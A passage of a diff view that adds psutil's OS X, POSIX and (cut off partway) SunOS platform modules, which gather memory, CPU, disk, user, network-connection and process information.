||||
% (cpu, allcpus))
|
||||
raise
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,363 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""OSX platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_osx as cext
|
||||
from . import _psutil_posix as cext_posix
|
||||
from ._common import conn_tmap, usage_percent, isfile_strict
|
||||
from ._common import sockfam_to_enum, socktype_to_enum
|
||||
|
||||
|
||||
__extra__all__ = []
|
||||
|
||||
# --- constants
|
||||
|
||||
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
}
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle'])
|
||||
|
||||
svmem = namedtuple(
|
||||
'svmem', ['total', 'available', 'percent', 'used', 'free',
|
||||
'active', 'inactive', 'wired'])
|
||||
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins'])
|
||||
|
||||
pmmap_grouped = namedtuple(
|
||||
'pmmap_grouped',
|
||||
'path rss private swapped dirtied ref_count shadow_depth')
|
||||
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
# --- functions
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
total, active, inactive, wired, free = cext.virtual_mem()
|
||||
avail = inactive + free
|
||||
used = active + inactive + wired
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free,
|
||||
active, inactive, wired)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
|
||||
total, used, free, sin, sout = cext.swap_mem()
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, sin, sout)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system CPU times as a namedtuple."""
|
||||
user, nice, system, idle = cext.cpu_times()
|
||||
return scputimes(user, nice, system, idle)
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system CPU times as a named tuple"""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, nice, system, idle = cpu_t
|
||||
item = scputimes(user, nice, system, idle)
|
||||
ret.append(item)
|
||||
return ret
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
if not os.path.isabs(device) or not os.path.exists(device):
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def users():
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp = item
|
||||
if tty == '~':
|
||||
continue # reboot or shutdown
|
||||
if not tstamp:
|
||||
continue
|
||||
nt = _common.suser(user, tty or None, hostname or None, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind='inet'):
|
||||
# Note: on OSX this will fail with AccessDenied unless
|
||||
# the process is owned by root.
|
||||
ret = []
|
||||
for pid in pids():
|
||||
try:
|
||||
cons = Process(pid).connections(kind)
|
||||
except NoSuchProcess:
|
||||
continue
|
||||
else:
|
||||
if cons:
|
||||
for c in cons:
|
||||
c = list(c) + [pid]
|
||||
ret.append(_common.sconn(*c))
|
||||
return ret
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
names = net_io_counters().keys()
|
||||
ret = {}
|
||||
for name in names:
|
||||
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = _psposix.pid_exists
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError exceptions into
|
||||
NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
if err.errno == errno.ESRCH:
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
return cext.proc_name(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
return cext.proc_exe(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
return cext.proc_cmdline(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_ppid(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
return cext.proc_cwd(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved = cext.proc_uids(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
real, effective, saved = cext.proc_gids(self.pid)
|
||||
return _common.pgids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
tty_nr = cext.proc_tty_nr(self.pid)
|
||||
tmap = _psposix._get_terminal_map()
|
||||
try:
|
||||
return tmap[tty_nr]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
rss, vms = cext.proc_memory_info(self.pid)[:2]
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid)
|
||||
return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_create_time(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_num_threads(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
if self.pid == 0:
|
||||
return []
|
||||
files = []
|
||||
rawlist = cext.proc_open_files(self.pid)
|
||||
for path, fd in rawlist:
|
||||
if isfile_strict(path):
|
||||
ntuple = _common.popenfile(path, fd)
|
||||
files.append(ntuple)
|
||||
return files
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.proc_connections(self.pid, families, types)
|
||||
ret = []
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status = item
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.append(nt)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
if self.pid == 0:
|
||||
return 0
|
||||
return cext.proc_num_fds(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
return cext_posix.getpriority(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_status(self.pid)
|
||||
# XXX is '?' legit? (we're not supposed to return it anyway)
|
||||
return PROC_STATUSES.get(code, '?')
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
return cext.proc_memory_maps(self.pid)
|
|
@ -0,0 +1,156 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Routines common to all posix systems."""
|
||||
|
||||
import errno
|
||||
import glob
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from ._common import sdiskusage, usage_percent, memoize
|
||||
from ._compat import PY3, unicode
|
||||
|
||||
|
||||
class TimeoutExpired(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def pid_exists(pid):
|
||||
"""Check whether pid exists in the current process table."""
|
||||
if pid == 0:
|
||||
# According to "man 2 kill" PID 0 has a special meaning:
|
||||
# it refers to <<every process in the process group of the
|
||||
# calling process>> so we don't want to go any further.
|
||||
# If we get here it means this UNIX platform *does* have
|
||||
# a process with id 0.
|
||||
return True
|
||||
try:
|
||||
os.kill(pid, 0)
|
||||
except OSError as err:
|
||||
if err.errno == errno.ESRCH:
|
||||
# ESRCH == No such process
|
||||
return False
|
||||
elif err.errno == errno.EPERM:
|
||||
# EPERM clearly means there's a process to deny access to
|
||||
return True
|
||||
else:
|
||||
# According to "man 2 kill" possible error values are
|
||||
# (EINVAL, EPERM, ESRCH) therefore we should never get
|
||||
# here. If we do let's be explicit in considering this
|
||||
# an error.
|
||||
raise err
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def wait_pid(pid, timeout=None):
|
||||
"""Wait for process with pid 'pid' to terminate and return its
|
||||
exit status code as an integer.
|
||||
|
||||
If pid is not a children of os.getpid() (current process) just
|
||||
waits until the process disappears and return None.
|
||||
|
||||
If pid does not exist at all return None immediately.
|
||||
|
||||
Raise TimeoutExpired on timeout expired.
|
||||
"""
|
||||
def check_timeout(delay):
|
||||
if timeout is not None:
|
||||
if timer() >= stop_at:
|
||||
raise TimeoutExpired()
|
||||
time.sleep(delay)
|
||||
return min(delay * 2, 0.04)
|
||||
|
||||
timer = getattr(time, 'monotonic', time.time)
|
||||
if timeout is not None:
|
||||
def waitcall():
|
||||
return os.waitpid(pid, os.WNOHANG)
|
||||
stop_at = timer() + timeout
|
||||
else:
|
||||
def waitcall():
|
||||
return os.waitpid(pid, 0)
|
||||
|
||||
delay = 0.0001
|
||||
while True:
|
||||
try:
|
||||
retpid, status = waitcall()
|
||||
except OSError as err:
|
||||
if err.errno == errno.EINTR:
|
||||
delay = check_timeout(delay)
|
||||
continue
|
||||
elif err.errno == errno.ECHILD:
|
||||
# This has two meanings:
|
||||
# - pid is not a child of os.getpid() in which case
|
||||
# we keep polling until it's gone
|
||||
# - pid never existed in the first place
|
||||
# In both cases we'll eventually return None as we
|
||||
# can't determine its exit status code.
|
||||
while True:
|
||||
if pid_exists(pid):
|
||||
delay = check_timeout(delay)
|
||||
else:
|
||||
return
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
if retpid == 0:
|
||||
# WNOHANG was used, pid is still running
|
||||
delay = check_timeout(delay)
|
||||
continue
|
||||
# process exited due to a signal; return the integer of
|
||||
# that signal
|
||||
if os.WIFSIGNALED(status):
|
||||
return os.WTERMSIG(status)
|
||||
# process exited using exit(2) system call; return the
|
||||
# integer exit(2) system call has been called with
|
||||
elif os.WIFEXITED(status):
|
||||
return os.WEXITSTATUS(status)
|
||||
else:
|
||||
# should never happen
|
||||
raise RuntimeError("unknown process exit status")
|
||||
|
||||
|
||||
def disk_usage(path):
|
||||
"""Return disk usage associated with path."""
|
||||
try:
|
||||
st = os.statvfs(path)
|
||||
except UnicodeEncodeError:
|
||||
if not PY3 and isinstance(path, unicode):
|
||||
# this is a bug with os.statvfs() and unicode on
|
||||
# Python 2, see:
|
||||
# - https://github.com/giampaolo/psutil/issues/416
|
||||
# - http://bugs.python.org/issue18695
|
||||
try:
|
||||
path = path.encode(sys.getfilesystemencoding())
|
||||
except UnicodeEncodeError:
|
||||
pass
|
||||
st = os.statvfs(path)
|
||||
else:
|
||||
raise
|
||||
free = (st.f_bavail * st.f_frsize)
|
||||
total = (st.f_blocks * st.f_frsize)
|
||||
used = (st.f_blocks - st.f_bfree) * st.f_frsize
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
# NB: the percentage is -5% than what shown by df due to
|
||||
# reserved blocks that we are currently not considering:
|
||||
# http://goo.gl/sWGbH
|
||||
return sdiskusage(total, used, free, percent)
|
||||
|
||||
|
||||
@memoize
|
||||
def _get_terminal_map():
|
||||
ret = {}
|
||||
ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*')
|
||||
for name in ls:
|
||||
assert name not in ret
|
||||
try:
|
||||
ret[os.stat(name).st_rdev] = name
|
||||
except OSError as err:
|
||||
if err.errno != errno.ENOENT:
|
||||
raise
|
||||
return ret
|
|
@ -0,0 +1,553 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Sun OS Solaris platform implementation."""
|
||||
|
||||
import errno
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_posix as cext_posix
|
||||
from . import _psutil_sunos as cext
|
||||
from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum
|
||||
from ._common import usage_percent
|
||||
from ._compat import PY3
|
||||
|
||||
|
||||
__extra__all__ = ["CONN_IDLE", "CONN_BOUND"]
|
||||
|
||||
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
CONN_IDLE = "IDLE"
|
||||
CONN_BOUND = "BOUND"
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SONPROC: _common.STATUS_RUNNING, # same as run
|
||||
cext.SWAIT: _common.STATUS_WAITING,
|
||||
}
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
cext.TCPS_IDLE: CONN_IDLE, # sunos specific
|
||||
cext.TCPS_BOUND: CONN_BOUND, # sunos specific
|
||||
}
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait'])
|
||||
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms'])
|
||||
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked'])
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
# --- functions
|
||||
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
# we could have done this with kstat, but imho this is good enough
|
||||
total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE
|
||||
# note: there's no difference on Solaris
|
||||
free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return svmem(total, avail, percent, used, free)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
sin, sout = cext.swap_mem()
|
||||
# XXX
|
||||
# we are supposed to get total/free by doing so:
|
||||
# http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/
|
||||
# usr/src/cmd/swap/swap.c
|
||||
# ...nevertheless I can't manage to obtain the same numbers as 'swap'
|
||||
# cmdline utility, so let's parse its output (sigh!)
|
||||
p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' %
|
||||
os.environ['PATH'], 'swap', '-l', '-k'],
|
||||
stdout=subprocess.PIPE)
|
||||
stdout, stderr = p.communicate()
|
||||
if PY3:
|
||||
stdout = stdout.decode(sys.stdout.encoding)
|
||||
if p.returncode != 0:
|
||||
raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode)
|
||||
|
||||
lines = stdout.strip().split('\n')[1:]
|
||||
if not lines:
|
||||
raise RuntimeError('no swap device(s) configured')
|
||||
total = free = 0
|
||||
for line in lines:
|
||||
line = line.split()
|
||||
t, f = line[-2:]
|
||||
t = t.replace('K', '')
|
||||
f = f.replace('K', '')
|
||||
total += int(int(t) * 1024)
|
||||
free += int(int(f) * 1024)
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent,
|
||||
sin * PAGE_SIZE, sout * PAGE_SIZE)
|
||||
|
||||
|
||||
def pids():
|
||||
"""Returns a list of PIDs currently running on the system."""
|
||||
return [int(x) for x in os.listdir('/proc') if x.isdigit()]
|
||||
|
||||
|
||||
def pid_exists(pid):
|
||||
"""Check for the existence of a unix pid."""
|
||||
return _psposix.pid_exists(pid)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system-wide CPU times as a named tuple"""
|
||||
ret = cext.per_cpu_times()
|
||||
return scputimes(*[sum(x) for x in zip(*ret)])
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system per-CPU times as a list of named tuples"""
|
||||
ret = cext.per_cpu_times()
|
||||
return [scputimes(*x) for x in ret]
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
try:
|
||||
return os.sysconf("SC_NPROCESSORS_ONLN")
|
||||
except ValueError:
|
||||
# mimic os.cpu_count() behavior
|
||||
return None
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def users():
|
||||
"""Return currently connected users as a list of namedtuples."""
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
localhost = (':0.0', ':0')
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp, user_process = item
|
||||
# note: the underlying C function includes entries about
|
||||
# system boot, run level and others. We might want
|
||||
# to use them in the future.
|
||||
if not user_process:
|
||||
continue
|
||||
if hostname in localhost:
|
||||
hostname = 'localhost'
|
||||
nt = _common.suser(user, tty, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
"""Return system disk partitions."""
|
||||
# TODO - the filtering logic should be better checked so that
|
||||
# it tries to reflect 'df' as much as possible
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
# Differently from, say, Linux, we don't have a list of
|
||||
# common fs types so the best we can do, AFAIK, is to
|
||||
# filter by filesystem having a total size > 0.
|
||||
if not disk_usage(mountpoint).total:
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind, _pid=-1):
|
||||
"""Return socket connections. If pid == -1 return system-wide
|
||||
connections (as opposed to connections opened by one process only).
|
||||
Only INET sockets are returned (UNIX are not).
|
||||
"""
|
||||
cmap = _common.conn_tmap.copy()
|
||||
if _pid == -1:
|
||||
cmap.pop('unix', 0)
|
||||
if kind not in cmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in cmap])))
|
||||
families, types = _common.conn_tmap[kind]
|
||||
rawlist = cext.net_connections(_pid, families, types)
|
||||
ret = set()
|
||||
for item in rawlist:
|
||||
fd, fam, type_, laddr, raddr, status, pid = item
|
||||
if fam not in families:
|
||||
continue
|
||||
if type_ not in types:
|
||||
continue
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type_ = socktype_to_enum(type_)
|
||||
if _pid == -1:
|
||||
nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid)
|
||||
else:
|
||||
nt = _common.pconn(fd, fam, type_, laddr, raddr, status)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
ret = cext.net_if_stats()
|
||||
for name, items in ret.items():
|
||||
isup, duplex, speed, mtu = items
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Call callable into a try/except clause and translate ENOENT,
|
||||
EACCES and EPERM in NoSuchProcess or AccessDenied exceptions.
|
||||
"""
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except EnvironmentError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
# ENOENT (no such file or directory) gets raised on open().
|
||||
# ESRCH (no such process) can get raised on read() if
|
||||
# process is gone in meantime.
|
||||
if err.errno in (errno.ENOENT, errno.ESRCH):
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
# note: max len == 15
|
||||
return cext.proc_name_and_args(self.pid)[0]
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
# Will be guess later from cmdline but we want to explicitly
|
||||
# invoke cmdline here in order to get an AccessDenied
|
||||
# exception if the user has not enough privileges.
|
||||
self.cmdline()
|
||||
return ""
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
return cext.proc_name_and_args(self.pid)[1].split(' ')
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_basic_info(self.pid)[3]
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_basic_info(self.pid)[5]
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
# For some reason getpriority(3) return ESRCH (no such process)
|
||||
# for certain low-pid processes, no matter what (even as root).
|
||||
# The process actually exists though, as it has a name,
|
||||
# creation time, etc.
|
||||
# The best thing we can do here appears to be raising AD.
|
||||
# Note: tested on Solaris 11; on Open Solaris 5 everything is
|
||||
# fine.
|
||||
try:
|
||||
return cext_posix.getpriority(self.pid)
|
||||
except EnvironmentError as err:
|
||||
# 48 is 'operation not supported' but errno does not expose
|
||||
# it. It occurs for low system pids.
|
||||
if err.errno in (errno.ENOENT, errno.ESRCH, 48):
|
||||
if pid_exists(self.pid):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
if self.pid in (2, 3):
|
||||
# Special case PIDs: internally setpriority(3) return ESRCH
|
||||
# (no such process), no matter what.
|
||||
# The process actually exists though, as it has a name,
|
||||
# creation time, etc.
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_basic_info(self.pid)[0]
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved, _, _, _ = cext.proc_cred(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
_, _, _, real, effective, saved = cext.proc_cred(self.pid)
|
||||
